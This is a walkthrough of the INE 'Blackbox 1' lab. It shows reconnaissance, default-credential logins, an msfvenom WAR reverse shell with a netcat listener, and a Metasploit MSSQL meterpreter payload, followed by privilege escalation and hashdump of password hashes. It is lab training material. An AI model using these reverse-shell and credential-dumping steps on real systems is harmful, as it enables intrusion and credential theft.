INE Blackbox 1
The goal is to exploit every system found on lab network, so first off scan devices on lab network by using nmap:
root@kali:/home/kali# sudo nmap -sn 172.16.64.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-04 20:44 EET
Nmap scan report for 172.16.64.101
Host is up (0.14s latency).
MAC Address: 00:50:56:A2:2C:29 (VMware)
Nmap scan report for 172.16.64.140
Host is up (0.14s latency).
MAC Address: 00:50:56:A2:1D:FA (VMware)
Nmap scan report for 172.16.64.182
Host is up (0.14s latency).
MAC Address: 00:50:56:A2:93:4F (VMware)
Nmap scan report for 172.16.64.199
Host is up (0.14s latency).
MAC Address: 00:50:56:A2:E2:BB (VMware)
Nmap scan report for 172.16.64.10
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.56 seconds
root@kali:/home/kali#
As you can see there is 5 host’s and one of them is my computer so 4 machines to crack. I started exploring them top down.
First machine (ip 172.16.64.101 in my case) has 3 ports open: ssh on 22, topcat on 8080 and 9080 something that I have never heard of. Tomcat has application manager on endpoint /manager where you can deploy Java applications which leads to RCE if you manage to get access. After entering page I tried some of Tomcat’s default credentails and got in with username tomcat and password s3cr3t.
After getting in I started googling for WAR payloads for reverse shell since I’m too lazy and unable to do that on my own. I found this article and decided to give it a try since it seemed simple enough. Article instructs you to create a payload via msfvenom by running this command:
root@kali:/home/kali# msfvenom -p java/jsp_shell_reverse_tcp
LHOST=172.16.64.10 LPORT=1234 -f war > shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
root@kali:/home/kali#
After that all you need to do is to upload shell.war to Tomcat web server via Application manager, setup netcat listener on your machine on port 1234 and then access the uploaded war file via browser, after that you should have a reverse shell. Also I would suggest to upgrade shell via python for more smooth experience.
root@kali:/home/kali# nc -lvp 1234
Listening on 0.0.0.0 1234
Connection received on 172.16.64.101 45394
python -c 'import pty; pty.spawn("/bin/bash")'
tomcat8@xubuntu:/var/lib/tomcat8$
You should find the flag pretty easily by browsing a little on the machine.
Second machine (172.16.64.140) had only port 80 open, which means more web exploitation, HURRAY! Home page contained nothing so I thought It would be a good idea to run dirb on it. I got lazy once again and decided to try with dirb’s default wordlist:
dirb http://172.16.64.140
Dirb found /project-endpoint which was protected by Basic Auth. The prompt also displayed “admin” as a hint so I tried to login with username admin and password admin and GOT IN! At this point I started thinking that this whole lab is a bit stupid (and it got even more stupid later on..) but anyway the endpoint contained a webpage with multiple sub-pages in it
I tried filling forms in hope of some SQL-injections but none of the forms actually did anything so it was time for DIRB ROUND TWO! This time with basic auth credentials and starting from /project
kali@kali:~$ dirb http://172.16.64.140/project/ -u admin:admin
Dirb discovered a project/backup/test/ -endpoint which contained some random files and two interesting files: One containing MSSQL-credentails and second containing link to flag of the current box.
Driver={SQL Server};Server=foosql.foo.com;Database=;Uid=fooadmin;Pwd=fooadmin;
/var/www/html/project/354253425234234/flag.txt
Third machine (172.16.64.182) had only port 22 open so I decided to skip that for now and jumped to machine 4 (172.16.64.199) which had some ports open one of them being mssql!
root@kali:/opt/impacket/examples# nmap 172.16.64.199
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-04 21:31 EET
Nmap scan report for 172.16.64.199
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
MAC Address: 00:50:56:A2:E2:BB (VMware)
At this point I was pretty fed up with this whole lab so I said fuck it and went for metasploit to finish the job. I used msf exploit for uploading and executing mssql_payload to get access to server
Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
msf6 > use windows/mssql/mssql_payload
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_payload) > set RHOSTS 172.16.64.199
RHOSTS => 172.16.64.199
msf6 exploit(windows/mssql/mssql_payload) > set USERNAME fooadmin
USERNAME => fooadmin
msf6 exploit(windows/mssql/mssql_payload) > set PASSWORD fooadmin
PASSWORD => fooadmin
msf6 exploit(windows/mssql/mssql_payload) > set LHOST tap0
LHOST => tap0
msf6 exploit(windows/mssql/mssql_payload) >
From there I got Adminstrator access simply by running getsystem on meterpreter and found the flag pretty easily. I also cracked the system user credentials in hopes of getting ssh-credentials to machine 3 by getting hashes with hashdump-command on meterpreter. I had some issues there and had to migrate my session to a pid which was ran by system.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
8 512 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
92 3876 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe
232 4 smss.exe x64 0
320 312 csrss.exe x64 0
...
3940 588 ApplicationFrameHost.exe x64 1 WIN10\AdminELS C:\Windows\System32\ApplicationFrameHost.exe
meterpreter > migrate 92
[*] Migrating from 1624 to 92...
[*] Migration completed successfully.
meterpreter > hashdump
AdminELS:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
After copying the hashes to local machine and cracking them with john I noticed that none of the credentials work. Bummer. After searching for a bit I decided to check what id_rsa.pub file-contains in AdminELS-user’s desktop. I spotted the file earlier but didn’t think that would be too important but it contained ssh credentials to Machine 3…